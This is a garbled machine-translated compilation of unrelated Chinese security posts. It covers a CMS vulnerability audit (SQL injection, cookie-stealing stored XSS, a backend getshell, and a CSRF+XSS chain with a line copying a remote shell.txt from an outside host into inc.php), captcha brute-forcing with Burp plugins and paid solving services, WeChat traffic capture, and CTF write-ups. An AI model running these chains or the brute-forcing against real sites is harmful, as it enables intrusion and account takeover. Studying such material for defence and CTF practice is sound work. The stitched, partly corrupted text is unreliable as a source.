5nhrlt3h0jf11345.png

xarc3y41guw11346.png

ハッカーの毎日の仕事は次のとおりです。

最新のUEDITORアップロード脆弱性、IIS7.5の脆弱性の解析、DEDECMSの脆弱性、およびその他のバッチの脆弱性など、0Dayの脆弱性を通じて、

最も一般的に使用されるツールは、バッチツールです

jefcil2kinc11348.png

wkzengpu3sp11350.png

ryaajnotujq11351.png

次に、BCページをアップロードし、ユーザーにアプリをダウンロードしてから、エージェントとして行動している部屋に入ります。このようにして、部屋のユーザーが充電するお金はエージェントにカウントされ、それによって収益性を達成します

現在のところ、ハッカーはまだIIS7.5の解像度の脆弱性を実行しています。

wkyr1agvis011354.png

UEDITORのアップロード脆弱性をバッチするために、300を超えるW URLがインポートされています。

元のリンクアドレス:https://www.hackdoor.org/d/216-bc

1。ディレクトリ構造

まず、構造を見てみましょう。システムフォルダーに関連するコードがあります。抜け穴を直接見せます。

图片

2。監査穴

1。ショッピングカートは非同期に情報を取得します-SQLインジェクション

System \ modules \ member \ cart.action.php

图片

単一の引用符をフィルタリングしますが、ここでは単一の引用によって保護されていないため、ここでは注入であり、ユーザーのIDは検証されていません。注入は、サイトの外にログインすることなく実行できます。

图片

图片

直接公式ウェブサイトハハハハ!

2。BOMプラグインダイレクトリー

システム/プラグイン/bom/bom.plugin.php

图片

直接アクセスするだけです。背景が変更されたとしても、それには何の問題もありません。まだちょうどいいです!

图片

3。私の注文貯蔵XSS(管理者Cookieを呼び出すことができます)

この一連のCMSが以前に発表されて以来、多くのXiaoheiは以前にXSSの脆弱性を発見しましたが、私のXSSは0Dayのようです。ははは、注文関数を投稿する必要があります。ここでは、最初にそれを通過するプロセスを示します。

图片

写真を追加します

图片

画像アドレスをXSSステートメントに変更します

图片

fileurl_tmpパラメーター

图片

現時点では、IMGタグが閉じられ、1つがポップアップします(バックグラウンドで管理されている「Order View」をトリガーします)

图片

4. Configuration-Backend GetShellをアップロードします

一部の人々は、バックグラウンドにアップロードがあることを見るかもしれませんが、実際、これらのアップロードは使用できません。背景のホワイトリストのフォーマットを変更することはできますが、それでも言及することはできません。現時点で.ただ参加してください! ~~

图片

単一の引用符をフィルターするため、ここには単一の引用符はありません。

图片

許可されたアップロードタイプでpyloadを書き込みます

图片

それは送信後に行われます~~コピー機能を通して遠隔馬を書く

图片

5.バックグラウンド検証コードには欠陥があります

图片

デフォルトのアカウントAdminこの文字列のMD5値は、対応する検証コード値であり、ブラストのためにここでインターフェイスを呼び出すことができます。また、小さな欠陥でもあります

6。パンチGETSHELL-CSRF+XSSのコンビネーション

XSSを直接使用してHTMLページをネストし、すべての操作をシミュレートします。それは完了です。アップロード形式の変更から始めて、アクセスをシミュレートするために馬を挿入する

[/index.php/admin/setting/upload?c=copy('http://www.xxx.com/shell.txt','./inc.php ');

いくつかの列を押して、それを成し遂げます。本当に心配しない場合は、最終的に管理者を追加してください。

このCMSのセットはCSRF攻撃をフィルタリングせず、スクリーンショットを採用しません。私のいとこの姿勢は私よりもセクシーです。おお、 hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah ahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha

元のリンクから転載:https://mp.weixin.qq.com/s/8otu9yq3pxj6k2qpbeznra

1。データセキュリティ問題解決競争

1。 DS_0602

在这里插入图片描述

解決策の解決策は、暗号化されたファイルで元のデータを取得し、復号化し、6行目と2番目の列にデータを送信し、添付ファイルをダウンロードして、2つのファイルがあることを確認します。ここでは、「.enc」で終わるファイルの種類を簡単に理解する必要があります。在这里插入图片描述

簡単に言えば、「.enc」で終わるファイルは、通常、暗号化されたファイルです。具体的には、ファイル拡張子".enc"は特定のファイルタイプではなく、ファイルコンテンツが暗号化されていることを示す一般識別子を表します。質問が私たちを要求することは明らかです。次に、ここで右クリックしてメソッドを開き、「メモ帳」を選択して分析を開きます。それを得る;在这里插入图片描述

簡単な分析の後、それが「base64暗号化」であることは明らかであるため、ここにデコードを可能にする質問があります。そのため、オンラインの「base64」デコードを見つける必要があります。繰り返しになりますが、なぜそれがここで「base64エンコード」であることを確認できるのですか?ベース機能。エンコード長:3バイナリデータ(24ビット)ごとに、4つのASCII文字(文字あたり6ビット)にエンコードされます。エンコードされた長さは通常、元のデータの長さの1.33倍、つまり元のデータ長の4/3です。文字セット:Base64エンコーディング次の64文字で構成される文字セット:大文字:A-Z小文字:A-Z番号:0-9 2つのシンボル: +および /いくつかの実装では、 - +は - 、/_と交換することができます(通常はURL-Safe base64エンコードに使用されます)。入力データのバイト数が3の倍数ではない場合、エンコードされた結果は=4の長さを記号にして記号で満たされます。1つの等記号は3つ以上の1で割ったものを示します。オンラインbase64デコード、get;在这里插入图片描述

タイトルに記載されている「6行目と2番目の列データ」は、ここで6行のデコードを直接コピーできます。在这里插入图片描述

この時点で;フラグ{767378199223105126}

2、333.file

在这里插入图片描述

添付ファイルをダウンロードして問題を解決し、「.wav」で終了するオーディオを取得するために減圧します。 「Deepsound」、「Silenteye」、および「Audacity」に投げ込まれます。それは実りがありません。この時点では、「010」を使用して開き、分析して、「フラグ」や「zip」キーワードなどの重要な情報があるかどうかを確認する必要があります。また、「kali」に投げ込み、「binwalk」を使用して分析して、分離できるファイルがあるかどうかを確認することもできます。 「Deepsound」は無益です。在这里插入图片描述

「Silenteye」には効果がありません。在这里插入图片描述

「Audacity」には結果がありません。在这里插入图片描述

それから、私がしばらくできることは何もありません。 「kali」にしか投げませんでした。「binwalk」を使用して分析するだけです。実際に壊れた「ジップ」があることがわかりましたが、「binwalk -e」を使用するだけでは抽出するのに十分ではありません。ここでは、「foremost -i」を使用しようとします(原則はbinwalk -eに似ていますが、抽出方法を変更しました。興味のあるマスターは、2つの違いについて学ぶことができます。ここではこれ以上強調しません)。コマンドを使用します。 binwalk -e 333.wav - run-as=rootは在这里插入图片描述を取得します

「最初の-I」で正常に抽出しました。私たちがそれを開いたとき、私たちはそれが「ビンウォーク」を使用して分析した「zip」であることがわかりませんでしたが、「.wav」で終わる別のオーディオです。ただし、簡単な分析により、このオーディオは以前のオーディオではないことがわかりました。最も簡単な分析方法は、サイズが異なることです。したがって、ここでは、上記のように基本的な共通「.WAV」分析ツールを使用しており、最終的に「Audacity」で重要な情報を見つけました!コマンドを使用します。 foremost -i 333.wav -o/root/desktop/123 -t get 在这里插入图片描述

分離されたファイルを開いて2つのオーディオを取得し、簡単に分析します。在这里插入图片描述

最後に、2番目のオーディオ "00006606.wav"の「Audacity」の「スペクトログラム」が重要な情報で発見されました!在这里插入图片描述

重要な情報を取得します。パス:STEGO0626;また、ここでも明らかです。特定のパスワードでなければなりません。結局のところ、それは「パス」であるため、ここで分析することは何もないことは言うまでもなく、基本的にあなたが見つけることができるすべてのものは試されているが、それらのどれも機能しないからです。しかし、ここで私は突然、「ビンウォーク」を使用して分析すると、内部に壊れた「ジップ」がありましたが、それは正常に分離されていませんでした。 「010」を使用して単純に見つけて、この「zip」が不完全であるかどうかを確認することができます。これは、「最も重要な」または「ビンウォーク」の壊れた使用を直接分離できず、手動で分離する必要があるためです。 「010」を使用して、「zip」(zipの16進数——504b0304)在这里插入图片描述を分析して見つけます

簡単に見ると、重要な情報「フラグ」は実際に私たちが考えているフラグであることがわかりましたが、このzipにはメインヘッドが欠けているようです。これは私たちが探した「504b0304」の始まりです。私たちがそれを知らないかどうかは関係ありません。比較として、通常の「zip」を使用することができます。通常の「zip」16進表現。在这里插入图片描述

通常の「zip」に最初に「504b0304」が実際に含まれていることを見るのは難しくありませんが、ここには存在しませんでした。それでは、それを直接保存して、正常に開くのが難しいかどうかを確認しましょう。 「010」で「新しいヘックスファイルを作成」し、貼り付けの段落全体を選択します。在这里插入图片描述

「zip」のメインコンテンツを選択し、右クリックしてコピーします。在这里插入图片描述

もちろん、ここの頭には「zip」が欠落しているため、後で挿入する必要がある場合に備えて、「zip」があります。

貼り付けて、フォーマットを保存するために「zip」を選択します。あなたがそれを見つけるのを防ぐために、保存場所に注意してください。在这里插入图片描述

最後に、「zip」を開くにはパスワードが必要です。次に、以前に抽出されたパスワードを入力して、「Pass:Stego0626」を開きます。在这里插入图片描述

右クリック「メモ帳」を選択して、分析のために空白のファイルを開くことができます。在这里插入图片描述

それは私たちが必要とする旗ではなかったことがわかったが、それは問題ではなかった。 「010」を選択して開き、分析して取得できます。在这里插入图片描述

この「フラグ」ブランクファイルのヘッダーは、「78 9C 4B CB」から始まることがわかりました。一般的に言えば、16進78 9C 4B CBで始まるファイルは、通常、ZLIB圧縮アルゴリズムを使用して圧縮されたファイルです。そのため、「Zlib」接尾辞を直接追加してから、「binwalk -e」を使用して分離し、最後にフラグを見つけてコマンドを使用できます。 binwalk -e flag.zlib - run-as=rootに正常に分離された在这里插入图片描述

分析のために分離されたファイルを開き、最終的にフラグを正常に取得します。在这里插入图片描述

この時点で;フラグ{81633464866E622D275C309B22CB907B}ここでの分離は唯一の方法ではありません。「cyberchef」を使用して「Zlib」をデコードし、フラグをデコードすることもできます。在这里插入图片描述

3。 PFファイル分析

在这里插入图片描述

問題を解決するための質問がたくさんあります。しかし、重要なポイントを見つけることができます。簡単に言えば、最も使用されているソフトウェア名を見つけて送信しましょう。したがって、ここでは、まず「PF」ファイルが何であるかを簡単に理解する必要があります。

PFファイル(Prefetchファイル)は、Windowsオペレーティングシステムのキャッシュファイルであり、アプリケーションの起動をスピードアップするために使用されます。 Windowsでアプリケーションを実行するたびに、システムはアプリケーションに関連付けられたPFファイルを作成または更新します。このファイルは、ロードされたDLL、ファイルパス、その他の情報など、プログラムを開始するために必要なリソースを記録します。主な機能:ストレージ場所:PFファイルは通常、C: \ Windows \ Prefetchディレクトリに保存され、ファイル名形式はプログラム名Hash Value.pfです。スタートアップのスピードアップ:PFファイルは、プログラムの起動に必要なリソースを記録します。これにより、次にプログラムが開始されると、オペレーティングシステムがこれらのリソースをより迅速にロードするのに役立ちます。フォレンジック分析:デジタルフォレンジックでは、PFファイルを使用してユーザーの動作を分析し、プログラムがいつ、どのように開始されるかを確認し、イベントのタイムラインの再構築を支援できます。クリーニングインパクト:PFファイルのクリーニングにより、アプリケーションが初めてゆっくりと起動する可能性がありますが、システムの全体的なパフォーマンスにはほとんど影響を与えません。概要:PFファイルは、プログラムのスタートアップパフォーマンスを最適化するためにWindows Systemsが使用するキャッシュファイルです。それらは特定のディレクトリに保存され、プログラムの開始時に作成または更新されます。デジタルフォレンジックの分野では、これらのドキュメントはユーザーの動作の分析にも役立ちます。 「PF」ファイルについてすでに学んだので、添付ファイルを直接ダウンロードして開き、パスワードが必要であることがわかりました。悲しいかな、それは最初は非常に奇妙でした。タイトルにパスワードはないと思っていたので、オーガナイザーはパスワードを提供しませんでした。それで、パスワードはオーガナイザーによって忘れられましたか?慎重に観察した後、ダウンロードされた添付ファイルは、いわゆる「ジップ」名であることがわかりました。 「base64」エンコードであるため、直接解読しました。また、パスワードが必要なことも成功しました。在这里插入图片描述

オンラインbase64デコードとデコード。在这里插入图片描述

zipパスワード:iampasswordは最終的に正常に減圧されました。それから私たちはそれを言った。 「プリフェッチ」を分析したい場合、分析にどのツールを使用する必要がありますか?これがマスターの要約です。 PECMD:使用法:PECMDは、Windows Prefetchファイルを解析および分析するために使用されるコマンドラインツールです。デジタルフォレンジック分析に非常に適した実行時間、パス、関連DLLなど、プリフェッチファイルに詳細情報を抽出できます。機能:バッチ処理をサポートし、CSVレポートを生成し、プリフェッチ形式の複数のWindowsバージョンを解析できます。 winprefetchView:使用:winprefetchViewは、プリフェッチファイルを表示および分析するためのシンプルなGUIツールです。プリフェッチディレクトリにファイルをすばやくリストし、プログラムの起動時間、最終実行時間など、各ファイルの詳細情報を表示できます。機能:フレンドリーなインターフェイス、シンプルな操作、プリフェッチファイルコンテンツの迅速な表示に適しています。これらの2つのツールは、プリフェッチファイルを分析する際に最も一般的に使用されており、単純な視聴から詳細なフォレンジック分析まで、さまざまなレベルのニーズに適しています。次に、最初に「PECMD」を使用して分析します。コマンドを使用します。 pecmd.exe -d d: \最新ダウンロード\ pecmd \ pretch -json output.txtコマンドを簡単に分析する。 PECMDツールを使用して、D: \最新ダウンロード\ PECMD \ PECMDディレクトリにあるプリフェッチファイルを解析し、出力結果をoutput.txtファイルにJSON形式のファイルに保存します。それを得る;在这里插入图片描述

最後に、現在のディレクトリで、作成した「出力」ファイルを見つけました。在这里插入图片描述

右クリックして「メモ帳」を選択して分析を開きます。

それを得る;在这里插入图片描述

この問題により、最も使用されているソフトウェアを見つけることができるため、最も使用されているソフトウェアのみを探します。次に、ここで「ランカウント」の英語翻訳は間違いなく実行されるため、「ランカウント」を見つけるには「ctrl+f」のみが必要であり、それをゆっくりと見てください。得る;在这里插入图片描述

しかし、私はそれが最も処刑されている人ではないことを発見しました。その後、38、71などがさらに多くあることがわかりました。また、最大の「82」をゆっくりと検索して確認しました。それを得る;在这里插入图片描述

この時点で; flag {searchfilterhost.exe}拡張「pecmd」を使用して「プリフェッチ」を分析しました。それは解析であり、検索するメモ帳を開きます。少し面倒ではありませんか?なぜ!確かにこれよりも簡単な方法があります。次のことについて説明するツール「winprefetchview」が抽出されてダウンロードされました。次に、ここからツール「winprefetchview」を開きます。在这里插入图片描述次に、「オプション」をクリックし、「[詳細なオプション」を選択し、[プリフェッチ]位置を変更し、最後に[確認]をクリックします。得る;在这里插入图片描述

実行数を簡単な順序で直接並べ替えて、この方法は実際に最初の方法よりもはるかに便利であり、見るのがより直感的で明確であることを知ることができます。

4。失われた情報

在这里插入图片描述

質問バラバラには多くの有用な質問があります。要約しましょう。簡単に言えば、顧客の携帯電話番号を取り出して、小文字MD5暗号化のために提出しましょう。次に、添付ファイルをダウンロードして、2つのファイルを取得します。在这里插入图片描述

「ディスク」ファイルと「.raw」ファイルとは何かの簡単な分析。 「ディスク」ファイルとは何ですか? 「ディスク」ファイルは通常、ストレージデバイスのミラーファイルを指します。これは、ハードディスク、パーティション、またはその他のストレージメディアの正確なコピーです。このファイルには、ファイルシステム、パーティションテーブル、ブートレコード、ディスクに保存されているすべてのファイルとフォルダーなど、ディスク上のすべてのデータが含まれています。目的:バックアップ、クローニングディスク、またはデータリカバリに一般的に使用されます。また、ディスクに保存されているデータを分析および再構築するためにディスクイメージを使用して、法的分析にも使用されます。形式:ディスクファイルは、img、iso、vmdk(仮想ディスクファイル)などのさまざまな形式で存在する場合があります。「.raw」ファイルとは何ですか?RAWファイルは通常、生ディスクイメージを指します。これは、ディスク上のすべての生データを含む非圧縮ミラー形式で、ディスクまたはパーティションバイトバイト全体を複製します。機能:非圧縮:RAWファイルには圧縮または変更されたデータが含まれておらず、最も元のディスク画像形式です。普遍性:シンプルで普遍的な形式により、RAWファイルは、さまざまなツールやオペレーティングシステムで認識および使用できます。目的:デジタルフォレンジック、データ回復、仮想化環境で広く使用されています。RAWファイルの分析は、削除されたファイルの回復、ファイルシステム構造の分析、その他の低レベルのデータ操作を実行するのに役立ちます。概要ディスクファイル:通常、ストレージデバイス全体のコピーであるディスクイメージファイルを指します。RAWファイル:ディスク上の生データを含む非圧縮ディスクイメージ形式であり、フォレンジック分析とデータの回復によく使用されます。繰り返しになりますが、それがどんな文書であるかを知っているので、それらをどのように分析しますか?もちろん、ディスクイメージファイル(「ディスク」ファイルまたは「.raw」ファイル)を分析する場合、以下は一般的に使用されるツールです。ボラティリティ2.6:目的:ボラティリティはメモリフォレンジック分析ツールです。主にメモリダンプ分析に使用されますが、ディスク画像のデータを分析するためにも使用できます。ディスクミラーリングと協力することにより、ボラティリティは、プロセス、ネットワーク接続、レジストリエントリなどのメモリ関連データを抽出および分析できます。機能:強力な機能は、詳細な分析と証拠のフォレンジック作業に適した複数のオペレーティングシステムのメモリ分析をサポートします。 Elcomsoft Forensic Disk Decryptor:目的:Elcomsoft Forensic Disk Decryptorは、暗号化されたディスクイメージファイルを解読するために特別に使用されます。 BitLocker、TrueCrypt、Veracrypt、およびその他の暗号化システムをサポートし、これらのミラーファイルからデータを抽出および分析するのに役立ちます。機能:暗号化されたディスクイメージに遭遇したときに使用するのに特に適した強力な復号化機能。

一般に、ボラティリティ2.6:はメモリフォレンジック分析に使用され、ディスク画像と組み合わせて高度なデータ抽出にも使用できます。 Elcomsoft Forensic Disk Decryptor:特別に使用

1。 Recaptchaプラグインを使用して、検証コードを爆破します

プラグインのダウンロードアドレス:https://github.com/bit4woo/recaptcha/releases

1.ブラウザのWebサイトログインページを入力し、ユーザー名、パスワード、検証コードを入力してから、バスピットを介してデータパケットを取得します

vr54pzihuuh7421.png avum0baemsl7422.png

2。次に、検証コードをクリックして検証コードのアドレスを取得し、プロキシでグラフィック検証コードを取得するリクエストを見つけ、右クリックして「recaptchaに送信」を選択します。このリクエストの情報はRecaptchaに送信されます。

3k14wmjphe47423.png adn10me1bju7424.png

3. Recaptchaタグに切り替えて、必要なパラメーターを構成します。パラメーターが構成されたら、[要求]ボタンをクリックして構成をテストできます

ここでは、https://www.jsdati.com/でコーディングプラットフォームを登録してから購入ポイントを登録する必要があることに注意してください。 1元を使用して購入してテストできます。

username=xxxpassword=xxxxcaptchatype=1008。

ここのユーザー名は登録したアカウント、登録済みアカウントのパスワード、AptChatypeは特定した検証コードのタイプです。このタイプは、以下のリンクアドレスから見つけることができます。

https://www.jsdati.com/docs/price

ku5znw43b5u7425.png

elhyxm3nlpk7426.png

4.構成を完了し、テストに正常にテストした後、侵入者のプラグインによって生成されたペイロードを使用できるようになりました。

2つの状況があります。ユーザー名またはパスワード +検証コードの1つ。ユーザー名+パスワード +検証コード。

ケース1:パスワードのみまたはユーザー名のみを変更する必要があります。ピッチフォークモードで構成できます。

たとえば、システムにはユーザーを爆破する管理者がいることが知られており、挿入ポイントは次のようにマークされています。

nrgxhxncvl47427.pngPAYLOAD 1ファイルからロードすると、これについてもっと言う必要はありません。

szsc3curj027428.pngPayload 2 [拡張生成]を選択します。

oppyjp13qlv7429.png

操作効果は次のとおりです。

x2fja51rrm07430.png

状況2:ユーザー名とパスワードの両方を変更する必要があります。これはもう少し複雑です。 Pichforkモードは引き続き使用されていますが、ユーザー名とパスワードを挿入ポイントとしてラベル付けする必要があります。このように:

p5mnwnymcai7431.png

ペイロード1カスタムイテレータを使用します。イテレーターのユーザー名とパスワードを組み合わせます。

この例では、位置1はユーザー名で、位置3はパスワードです。

isibe3ssxuk7432.png

位置2は「j_password=」です

ペイロード2の構成は、状況1の構成とまったく同じです。

動作効果は図に示されています。

tss05zx4vgd7433.png

2。 Captcha-Kilerプラグインを使用して、検証コードを爆破します

1。プラグインダウンロードアドレス:

Captcha-Kiler:https://github.com/c0ny1/captcha-killer/tags

nk2fgbcgmqu7434.png

2.ブラウザのWebサイトログインページを入力し、ユーザー名、パスワード、検証コードを入力してから、バスピットを介してデータパケットを取得します

tzn4muzz5bu7435.png

5urgol3tkfu7436.png

3.次に、検証コードをクリックして検証コードのアドレスを取得し、アドレスを介して検証コードをインターセプトしてアドレスを取得し、プロキシのリピーターにデータパケットを送信します - プロキシ履歴、それを選択し、右クリックして「Captchaパネルに送信」を選択します。要求された情報はCaptcha-Kilerに送信されます

zxwiks5i3j57437.png

jyea1xgonkh7438.png

nsxistvqgk07439.png

4.識別インターフェイステンプレートをここに構成します(http://www.ttshitu.com/illustrationコードプラットフォーム、(1元、500回))

post /base64 http /1.1

host: api.ttshitu.com

アップグレード-Insecure-Requests: 1

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのように)chrome/80.0.0.3987.149 safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9

Cookie: HM_LVT_D92EB5418ECF5150ABBFE0E505020254=1585994993,1586144399;セッション=5EBF9C31-A424-44F8-8188-62CA56DE7BDF; HM_LPVT_D92EB5418ECF5150ABBFE0E505020254=1586146123

Connection:閉じます

Content-Type:アプリケーション/JSON; charset=utf-8

Content-Length: 2658

{'username':'xxx'、 'password':'

1.フィドラーをインストールします

公式ウェブサイトのダウンロード:https://www.telerik.com/download/fiddler

2。構成

Fiddlerツールを開く - オプション、general:すべてを選択します

1049983-20220825020503721-1002766279.jpgHTTPS:

1049983-20220825020504532-1398340308.jpgConnections3:プロキシアドレスを構成します

1049983-20220825020505279-761028094.jpgGateway:

1049983-20220825020506115-2059808853.png 3。コンピューターアプレットを開きます

WeChatからログアウトして、WeChatにログインするときにエージェントをセットアップします

1049983-20220825020506706-65946589.pngアプレットを開きます

1049983-20220825020507343-1819710808.jpgsuccessiveしてキャプチャされました

1049983-20220825020508746-1485934669.jpg

うまくいかない場合

アプレットを開き、タスクマネージャーを開き、アプレットプロセスを見つけ、ファイルの場所を開きます

1049983-20220825020509474-944554242.jpg

WeChatのログアウト、\ wmpfruntimeの下のすべてのファイルを削除し、再度ログインしてMINIプログラムを開きます。

c: \ users \ backlion \ appdata \ roaming \ tencent \ wechat \ xplugin \ plugins \ wmpfruntime

1049983-20220825020510007-966097145.png

サインイン

タイトルのコンテンツはPDFファイルであり、Adobe Acrobatで開かれ、いくつかの特別なシンボルが含まれていることがわかりました。

編集モードでは、装飾的なフォントであるWingdingsとしてフォントをチェックし、テキストコンテンツは実際にはASCIIコードです。テキストの範囲はページを超えています。サイズ変更後、そのコンテンツがコピーされ、2行のテキストが与えられます。

これはフェンスのパスワードです。GETフラグ{have_a_great_time@geekgame_v1!}。

fa {aeagettm@ekaev!

lghv__ra_iegegm_1}

Xiaobei Q&Aリメイク

北京大学のヤニュアンキャンパスに科学ビルの科学建築物Xの科学建物がありますが、科学(x+1)やその後の建物はありません。 x何? Google Earthで検索すると、5つの科学の構築がありますが、6つの科学の建物はありません。したがって、答えは5です。

最後の(ゼロ)競技では、登録された総人が何人いましたか?北京大学のニュースネットワークでは、北京大学が最初の包括的な情報セキュリティ能力競争を開催し、「この競争に合計407人が登録された」ということが得られたため、答えは407でした。

geekgame.pku.edu.cnのHTTPS証明書は、一度更新を忘れていました。いつ失効しましたか? 「SSL CERTデータベース」を検索し、WebサイトCRT.SHを見つけます。このWebサイトでGeekGame.pku.edu.cnを検索し、タイトルで与えられた正規表現に基づいて3で終了する有効期限が3で終了する証明書を見つけ、その有効期限は7月11日です。 2021-07-11T08:49:53+08:00。

2020年のDEFCON CTF資格コンペティションサインインの質問の旗は何ですか? 2020 defcon ctf qualsを見つけたウェブサイトは、oooo def con ctf qualsです。

ooo {this_is_the_welcome_flag}。

サイズ672328094 * 386900246の正方形のチェスボードに3(同じ)女王を置く方法はいくつありますか?整数シーケンスのオンライン百科事典で「3クイーン」を検索すると、一般的なソリューションは直接見つかりませんが、N X Nボードに3つの非攻撃クイーンを配置する方法はあります。一般的なソリューション式が示されています。

任意$m\times n$棋盘上的3皇后问题

2933523260166137923998409309647057493882806525577536。これは、Mathematicaを使用して直接計算されます。

最後の(ゼロ)コンペティションの「Xiaobei Q&A 1202」という質問には、SQLiteデータベースのテーブルにすべての出場者が提出した回答を保存します。このテーブルの名前は? ZerothコンペティションのGitHubリポジトリGeekGame-0で検索し、SRC/Choice/Game/DB.pyで提出と呼ばれるテーブル名を取得します。

国際的なインターネットは、多くの自律システム(AS)で構成されています。北京大学には独自の自律システムがあります。その数は何ですか?自律システム番号として中国の北京大学を見つけ、AS59201の数を見つけてください。もう1つの検索結果CNGI-BJ-IX3-AS-AP Cernet2 IXは、PEKING UNIVERSITYで、CNは正解ではありません。

2021年6月1日の時点で、中国の名前が長くなった研究室は完全に北京大学の情報科学技術学部にありますか? 「地域光ファイバー通信ネットワークと新しい光学通信システムの国家主要研究所」である情報科学技術学校の2021年入学ガイドで、最長の研究所を見つけてください。

共有マシン

この質問は「未来の機械」に言及しており、ゼロス競争のトピックです。 「未来の機械」の書き込みを読むことで、人間の脳がコードを説明して実行し、旗を逆にする必要があることを学びました。この質問は似ていると思います。

まず、イーサリアムスマートコントラクトのメカニズムを理解する必要があります。スマートコントラクトを作成する際には、Solidityプログラムのバイトコードが必要であり、後で変更することはできません。トランザクションがスマートコントラクトに開始されるたびに、提供されたトランザクション情報とトランザクションのイニシエーターがプログラムへの入力として使用されます。プログラムの操作結果は、ブロックチェーンに保存することも、拒否してトランザクションを拒否して早期に終了することもできます。プログラムは、実行中にメモリとストレージにアクセスできます。メモリはRAMに似ており、プログラムは終了した後に破壊されますが、ストレージはブロックチェーン上の永続的なストレージです。

元のタイトルはビタップのリンクを提供し、2021-10-22と2021-11-07の2つの重要なトランザクションを見ることができます。そのうち2021-10-22のトランザクションはこの契約を作成することです。 2021-11-14以降、他にも多くの失敗したトランザクションがあります。この時点でトピックがリリースされているため、これらの失敗したトランザクションはトピックの一部ではありません。

これとは別に、ビタップに関する詳細な情報は提供されていません。 Ethereum Smart Contracts、Writgentupに関する他のCTFコンテストを検索し、Parity Trace機能を介してトランザクションの詳細を表示できるEtherscan Webサイトを見つけました。さらにエキサイティングなのは、Etherscanが逆コンパイルバイトコード関数に付属していることです。質問に記載されているスマートコントラクトを開いた後、この関数を使用して、逆コンパイルされたソースコードを表示できます。

#Panoramix V4 2019年10月

#ROPSTEN:0XA43028C702C3B119C749306461582BF647FD770Aの分解されたソース

#世界をオープンソースにしましょう

def Storage3360

Stor0はストレージ0のADDRです

Stor1はストレージ1でUINT256です

Stor2はストレージ2のUINT256です

Stor3はストレージ3のUINT256です

def _fallback()payable:#デフォルト関数

戻る

def unknown7fbf5e5a(uint256 _param1、uint256 _param2)payable:

calldata.size -4=64が必要です

stor0!=caller:の場合

stor0!=tx.origin:の場合

stor1!=sha3(発信者):の場合

stor1!=sha3(tx.origin):の場合

0で元に戻し、「発信者は所有者でなければなりません」

stor2=_param1

stor3=_param2

定義不明0677d(uint256 _param1)payable:

calldata.size -4=32が必要です

idx=0

S=0

IDX 64:

idx=idx + 1

s=sまたは(mask(256、-4 * idx、_param1)4 * idx) +(5 * idx) +(7 * mask(256、-4 * idx、stor2)4 * idx)%16 4 * idx

続行します

stor3!=0:の場合

0で元に戻します、「これは本当の旗ではありません!」

返品1

ここでは2つの機能が取得されますが、コール関係は明確ではありません。別のオンラインツールであるオンラインソリティ逆コンパイラで逆コンパイルされ、別の表現を取得し、2つを参照できます。 \ footnote {オンラインSolidity Decompilerの逆コンパイルの結果は長く、オンラインで見ることができるため、記事には投稿されません。重要な部分は後で与えられます。 }

オンラインSolidity Decompilerの結果にはいくつかのGOTOがありますが、ジャンプアドレスはまだ関数内にあるため、コントロールフローを整理する方が簡単です。分析後、最初の関数は所有者が正常に戻すために開始する必要があり、その機能はストレージ[2]とストレージ[3]を変更することであることがわかりました。 2番目の関数は実際に64回ループを実行し、可変VAR0の変更はループで常に使用または計算され、ストレージ[2]に保存されているデータが使用されます。ループの後、var0の動作結果をストレージと比較します[3]。 2つが異なる場合、これは本当の旗ではありません!出力です。言い換えれば、操作後にストレージ[3]と同じになるように、初期のvar0を見つける必要があります。このvar0はおそらく私たちが必要とする旗です。

Solidityコードのこの部分が抽出されます

var arg0=msg.data [0x04:0x24];

var var0=0x00;

var var1=0x00;

while(var10x40){

var0=var0 | (((arg0 var1 *0x04) + var1 *0x05 +(storage [0x02] var1 *0x04) *0x070x0f)var1 *0x04);

var1 +=0x01;

}

if(var0==ストレージ[0x03]){return0x01; }

ビット操作の優先度は、VAR1 *0x04ビットによって最終的に残され、ビットVAR1の内容が事前に渡されることに注意してください。言い換えれば、var0はループ内の最大4ビットによってのみ変更され、各ループによって変更されたビットは互いに干渉しません。これにより、操作プロセス全体が可逆的になります。

さらに、ストレージ[2]とストレージ[3]の値も知る必要があります。これは、2021-11-07のトランザクションを表示することで取得できます。

查看Internal transaction的信息

このようにして、VAR0を反転させるロジックはPythonで実装できます。

Stor2=0x15EEA4B2551F0C96D02A5D62F84CAC8112690D68C47B16814E221B8A37D6C4D3

Stor3=0x293EDEA66635AABCD6DEBA615AB813A7610C1CFB9EFB31CCC5224C0E4B37372

Res=0

フラグ=[]

範囲(0x40):のIの場合

ターゲット=stor3 i * 40x0f

範囲内(0x10):の場合

ANS + I * 5 +(stor2 i * 4) * 70x0f==ターゲット:の場合

flag.insert(0、ans)

print( ''。join([chr(flag [i] * 16 + flag [i + 1])の範囲(0、len(flag)、2)])))))

フラグを取得{n0_s3cret_on_ethereum}。

クラッシュしたridder man

質問は、PCAP形式のパケットキャプチャデータを提供します。チャールズと一緒に開くと、これがJupyterと相互作用するトラフィックであることがわかります。

用Charles查看pcap

ここでは、Jupyterノートブックのコンテンツを直接復元できます。

ZWSP_STEGをインポートします

crypto.randomインポートget_random_bytesから

binasciiをインポートします

def genflag():

return 'flag {%s}'%binascii.hexlify(get_random_bytes(16))。decode()

flag1=genflag()

flag2=genflag()

key=get_random_bytes(len(flag1))

def xor_each(k、b):

アサートレン(k)==レン(b)

out=[]

範囲のi(len(b)):

out.append(b [i] ^ k [i])

バイトを返す(out)

encoded_flag1=xor_each(key、flag1.encode())

encoded_flag2=xor_each(key、flag2.encode())

f:としてopen( 'flag1.txt'、 'wb')

f.write(binascii.hexlify(encoded_flag2))

Jupyterノートブックの出力から、キーは

b '\ x1e \ xe0 [u \ xf2 \ xf2 \ x81 \ x01u_ \ x9d!yc \ x8e \ xce [x \ r \ x04 \ x 94 \ xbc9 \ x1d \ xd7 \ xf8 \ xde \ xdcd \ xb2q \ xa3 \ x8a?\ x16 \ xe5 \ x8a9 ''

